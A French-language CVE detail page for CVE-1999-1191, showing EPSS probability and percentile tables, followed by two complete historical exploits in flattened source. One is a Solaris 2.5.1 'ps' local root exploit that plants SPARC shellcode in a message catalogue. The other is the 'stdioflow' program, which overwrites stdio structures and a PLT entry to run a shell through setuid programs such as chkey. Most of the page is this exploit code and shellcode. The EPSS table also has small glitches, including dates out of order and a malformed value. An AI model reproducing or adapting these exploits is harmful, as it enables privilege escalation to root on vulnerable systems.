CVE-1999-1191 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.05%	–
2024-02-11	–	–	–	0.05%	–
2024-02-25	–	–	–	0.05%	–
2024-03-31	–	–	–	0.05%	–
2024-04-21	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-07-28	–	–	–	0.05%	–
2024-11-24	–	–	–	0.05%	–
2024-12-22	–	–	–	0.13%	–
2025-03-09	–	–	–	0.13%	–
2025-01-19	–	–	–	0.13%	–
2025-03-09	–	–	–	0.13%	–
2025-03-18	–	–	–	–	0.21%
2025-03-30	–	–	–	–	0.25%
2025-04-06	–	–	–	–	0.25%
2025-04-14	–	–	–	–	0.25%
2025-04-15	–	–	–	–	0.25%
2025-04-15	–	–	–	–	0.25,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	13%
2024-02-11	12%
2024-02-25	13%
2024-03-31	14%
2024-04-21	14%
2024-06-02	16%
2024-07-28	17%
2024-11-24	18%
2024-12-22	49%
2025-03-09	5%
2025-01-19	49%
2025-03-09	5%
2025-03-18	41%
2025-03-30	45%
2025-04-06	46%
2025-04-14	45%
2025-04-15	48%
2025-04-15	48%

cat > ps_expl.po << E_O_F domain "SUNW_OST_OSCMD" msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n" msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010" E_O_F msgfmt -o /tmp/foo ps_expl.po # Build the C portion of the exploit cat > ps_expl.c << E_O_F /*****************************************/ /* Exploit for Solaris 2.5.1 /usr/bin/ps */ /* J. Zbiciak, 5/18/97 */ /*****************************************/ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH (632) #define EXTRA (256) int main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; /* ps will grok this file for the exploit code */ char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p; u_char *char_p; /* This will vary depending on your libc */ u_long *proc_link=0xef771408; int i; long_p = (u_long *) buf; /* This first loop smashes the target buffer for optargs */ for (i = 0; i < (96) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* At offset 96 is the environ ptr -- be careful not to mess it up */ *long_p++=0xeffffcb0; *long_p++=0xffffffff; /* After that is the _ctype table. Filling with 0x10101010 marks the entire character set as being "uppercase printable". */ for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */ /* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */ /* build up _iob[1] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */ /* build up _iob[2] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */ *long_p =0; /* The following includes the invalid argument '-z' to force the usage msg to appear after the arguments have been parsed. */ execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp); perror("execle failed"); return 0; } E_O_F # Compile it $CC -o ps_expl ps_expl.c # And off we go! exec ./ps_expl // milw0rm.com [1997-05-19]

/* source: https://www.securityfocus.com/bid/207/info The chkey program is used to change a users secure RPC Diffie-Hellman public key and secret key pair. A buffer overflow condition has been found in the chkey program. Since chkey has setuid root permissions, an unauthorized user may be able to gain root access. */ /* * stdioflow -- exploit for data overrun conditions * adam@math.tau.ac.il (Adam Morrison) * * This program causes programs which use stdio(3S) and have data buffer * overflow conditions to overwrite stdio's iob[] array of FILE structures * with malicious, buffered FILEs. Thus it is possible to get stdio to * overwrite arbitrary places in memory; specifically, it overwrites a * specific procedure linkage table entry with SPARC assembly code to * execute a shell. * * Using this program involves several steps. * * First, find a code path which leads to the use of stdout or stderr after * the buffer has been overwritten. The default case being * * strcpy(buffer, argv[0]); * / we gave it wrong arguments / * fprintf(stderr, "usage: %s ...\n", buffer); * exit(1); * * In this case you need to overwrite exit()'s PLT entry. * * Second, find out the address that the library that contains the PLT * you want to overwrite (in this case, it would be libc) gets mmapped() * to in the process' address space. You need it to calculate the * absolute of the PLT entry. (Doing this is left as an, uh, exercise * to the reader.) * * Finally, calculate the offset to take from the PLT entry -- you don't * want ``usage: '' in the table, but the instructions in ``%s''. In this * case, it would be 7. * * Then run it. */ #include <stdio.h> #include <fcntl.h> #include <string.h> #include <libelf.h> #include <sys/types.h> #include <sys/link.h> #define PLT_SYMBOL "_PROCEDURE_LINKAGE_TABLE_" u_int shellcode[] = { 0x821020ca, 0xa61cc013, 0x900cc013, 0x920cc013, 0xa604e001, 0x91d02008, 0x2d0bd89a, 0xac15a16e, 0x2f0bdcda, 0x900b800e, 0x9203a008, 0x941a800a, 0x9c03a010, 0xec3bbff0, 0xdc23bff8, 0xc023bffc, 0x8210203b, 0x91d02008, }; int shell_len = sizeof (shellcode) / sizeof (u_long); u_long meow = 0x6d656f77; char *prog; void elferr(void); u_long symval(char *, char *); u_long plt_offset(char *, char *); void usage() { fprintf(stderr, "usage: %s [options] buf(name or @address) libaddr program args\n", prog); fprintf(stderr, "options: [-l library] [-f function] [-o offset] [-e env]\n"); exit(1); } main(int argc, char **argv) { char *env = NULL; char *library = "/usr/lib/libc.so"; char *function = "_exithandle"; u_long off, uoff = 0; u_long libaddr, pltaddr, bufaddr, iobaddr; u_long pltent; char *prognam, *bufnam; int buflen; char *badbuf; u_long *bp; int c; extern char *optarg; extern int optind; char **arg0, **arg; prog = strrchr(argv[0], '/'); if (prog) ++prog; else prog = argv[0]; while ((c = getopt(argc, argv, "l:f:o:e:")) != EOF) switch (c) { case 'l': library = optarg; break; case 'f': function = optarg; break; case 'o': uoff = strtol(optarg, (char **)0, 0); break; case 'e': env = optarg; break; default: usage(); } if (argc - optind < 3) usage(); bufnam = argv[optind]; /* * This is the address that the library in which `function' * lives gets mapped to in the child address space. We could force * a non-privileged copy of `prognam' to dump core, and fish * out the memory mappings from the resulting core file; but this * is really something users should be able to do themselves. */ libaddr = strtoul(argv[optind+1], (char **)0, 0); if (libaddr == 0) { fprintf(stderr, "%s: impossible library virtual address: %s\n", prog, argv[optind+1]); exit(1); } printf("Using library %s at 0x%p\n", library, libaddr); prognam = argv[optind+2]; arg0 = &argv[optind+3]; /* * `pltaddr' is the offset at which the library's PLT will be * at from `libaddr'. */ pltaddr = symval(library, PLT_SYMBOL); if (pltaddr == 0) { fprintf(stderr, "%s: could not find PLT offset from library\n", prog); exit(1); } printf("Using PLT at 0x%p\n", pltaddr); /* * `off' is the offset from `pltaddr' in which the desired * function's PLT entry is. */ off = plt_offset(library, function); if (off == 0) { fprintf(stderr, "%s: impossible offset from PLT returned\n", prog); exit(1); } printf("Found %s at 0x%p\n", function, off); /* * `bufaddr' is the name (or address) of the buffer we want to * overflow. It's not a stack buffer, so finding it out is trivial. */ if (bufnam[0] == '@') bufaddr = strtol(&bufnam[1], (char **)0, 0); else bufaddr = symval(prognam, bufnam); if (bufaddr == 0) { fprintf(stderr, "%s: illegal buffer address: %s\n", prog, prognam); exit(1); } printf("Buffer at 0x%p\n", bufaddr); /* * `iobaddr' is obviously the address of the stdio(3) array. */ iobaddr = symval(prognam, "__iob"); if (iobaddr == 0) { fprintf(stderr, "%s: could not find iob[] in %s\n", prog, prognam); exit(1); } printf("iob[] at 0x%p\n", iobaddr); /* * This is the absolute address of the PLT entry we want to * overwrite. */ pltent = libaddr + pltaddr + off; buflen = iobaddr - bufaddr; if (buflen < shell_len) { fprintf(stderr, "%s: not enough space for shell code\n", prog); exit(1); } if (env) { buflen += strlen(env) + 5; if (buflen & 3) { fprintf(stderr, "%s: alignment problem\n", prog); exit(1); } } badbuf = (char *)malloc(buflen); if (badbuf == 0) { fprintf(stderr, "%s: out of memory\n", prog); exit(1); } if (env) { buflen -= (strlen(env) + 5); sprintf(badbuf, "%s=", env); bp = (u_long *)&badbuf[strlen(badbuf)]; } else bp = (u_long *)badbuf; buflen /= sizeof (*bp); for (c = 0; c < shell_len; c++) *bp++ = shellcode[c]; for (; c < buflen; c++) *bp++ = meow; /* * stdin -- whatever */ *bp++ = -29; *bp++ = 0xef7d7310; *bp++ = 0xef7d7310 - 29; *bp++ = 0x0101ffff; /* * stdout */ *bp++ = -29; *bp++ = pltent - uoff; *bp++ = pltent - 29; *bp++ = 0x0201ffff; /* * stderr */ *bp++ = -29; *bp++ = pltent - uoff; *bp++ = pltent - 29; *bp++ = 0x0202ffff; *bp++ = 0; printf("Using absolute address 0x%p\n", pltent - uoff); /* * Almost ready to do the exec() */ if (env) putenv(badbuf); else for (arg = arg0; arg && *arg; arg++) { if (strcmp(*arg, "%s") == 0) *arg = badbuf; } printf("Using %d bytes\n", buflen*4); if (execv(prognam, arg0) < 0) { perror("execv"); exit(1); } } u_long symval(char *lib, char *name) { int fd; int i, nsym; u_long addr = 0; Elf32_Shdr *shdr; Elf *elf; Elf_Scn *scn = (Elf_Scn *)0; Elf32_Ehdr *ehdr; Elf_Data *dp; Elf32_Sym *symbol; char *np; fd = open(lib, O_RDONLY); if (fd < 0) { perror("open"); exit(1); } /* Initializations, see elf(3E) */ (void) elf_version(EV_CURRENT); elf = elf_begin(fd, ELF_C_READ, 0); if (elf == (Elf *)0) elferr(); ehdr = elf32_getehdr(elf); if (ehdr == (Elf32_Ehdr*)0) elferr(); /* * Loop through sections looking for the dynamic symbol table. */ while ((scn = elf_nextscn(elf, scn))) { shdr = elf32_getshdr(scn); if (shdr == (Elf32_Shdr *)0) elferr(); if (shdr->sh_type == SHT_DYNSYM) break; } if (scn == (Elf_Scn *)0) { fprintf(stderr, "%s: dynamic symbol table not found\n", prog); exit(1); } dp = elf_getdata(scn, (Elf_Data *)0); if (dp == (Elf_Data *)0) elferr(); if (dp->d_size == 0) { fprintf(stderr, "%s: .dynamic symbol table empty\n", prog); exit(1); } symbol = (Elf32_Sym *)dp->d_buf; nsym = dp->d_size / sizeof (*symbol); for (i = 0; i < nsym; i++) { np = elf_strptr(elf, shdr->sh_link, (size_t) symbol[i].st_name); if (np && !strcmp(np, name)) break; } if (i < nsym) addr = symbol[i].st_value; (void) elf_end(elf); (void) close(fd); return (addr); } u_long plt_offset(char *lib, char *func) { int fd; Elf *elf; Elf_Scn *scn = (Elf_Scn *)0; Elf_Data *dp; Elf32_Ehdr *ehdr; Elf32_Rela *relocp = (Elf32_Rela *)0; Elf32_Word pltsz = 0; Elf32_Shdr *shdr; Elf_Scn *symtab; Elf32_Sym *symbols; char *np; u_long offset = 0; u_long plt; fd = open(lib, O_RDONLY); if (fd < 0) { perror("open"); exit(1); } /* Initializations, see elf(3E) */ (void) elf_version(EV_CURRENT); elf = elf_begin(fd, ELF_C_READ, 0); if (elf == (Elf *)0) elferr(); ehdr = elf32_getehdr(elf); if (ehdr == (Elf32_Ehdr *)0) elferr(); /* * Loop through sections looking for the relocation entries * associated with the procedure linkage table. */ while ((scn = elf_nextscn(elf, scn))) { shdr = elf32_getshdr(scn); if (shdr == (Elf32_Shdr *)0) elferr(); if (shdr->sh_type == SHT_RELA) { np = elf_strptr(elf, ehdr->e_shstrndx, (size_t) shdr->sh_name); if (np && !strcmp(np, ".rela.plt")) break; } } if (scn == (Elf_Scn *)0) { fprintf(stderr, "%s: .rela.plt section not found\n", prog); exit(1); } dp = elf_getdata(scn, (Elf_Data *)0); if (dp == (Elf_Data *)0) elferr(); if (dp->d_size == 0) { fprintf(stderr, "%s: .rela.plt section empty\n", prog); exit(1); } /* * The .rela.plt section contains an array of relocation entries, * the first 4 are not used. */ relocp = (Elf32_Rela *)dp->d_buf; pltsz = dp->d_size / sizeof (*relocp); relocp += 4; pltsz -= 4; /* * Find the symbol table associated with this section. */ symtab = elf_getscn(elf, shdr->sh_link); if (symtab == (Elf_Scn *)0) elferr(); shdr = elf32_getshdr(symtab); if (shdr == (Elf32_Shdr *)0) elferr(); dp = elf_getdata(symtab, (Elf_Data *)0); if (dp == (Elf_Data *)0) elferr(); if (dp->d_size == 0) { fprintf(stderr, "%s: dynamic symbol table empty\n", prog); exit(1); } symbols = (Elf32_Sym *)dp->d_buf; /* * Loop through the relocation list, looking for the desired * symbol. */ while (pltsz-- > 0) { Elf32_Word ndx = ELF32_R_SYM(relocp->r_info); np = elf_strptr(elf, shdr->sh_link, (size_t) symbols[ndx].st_name); if (np && !strcmp(np, func)) break; relocp++; } if (relocp) { plt = symval(lib, PLT_SYMBOL); offset = relocp->r_offset - plt; } (void) elf_end(elf); (void) close(fd); return (offset); } void elferr() { fprintf(stderr, "%s: %s\n", prog, elf_errmsg(elf_errno())); exit(1); }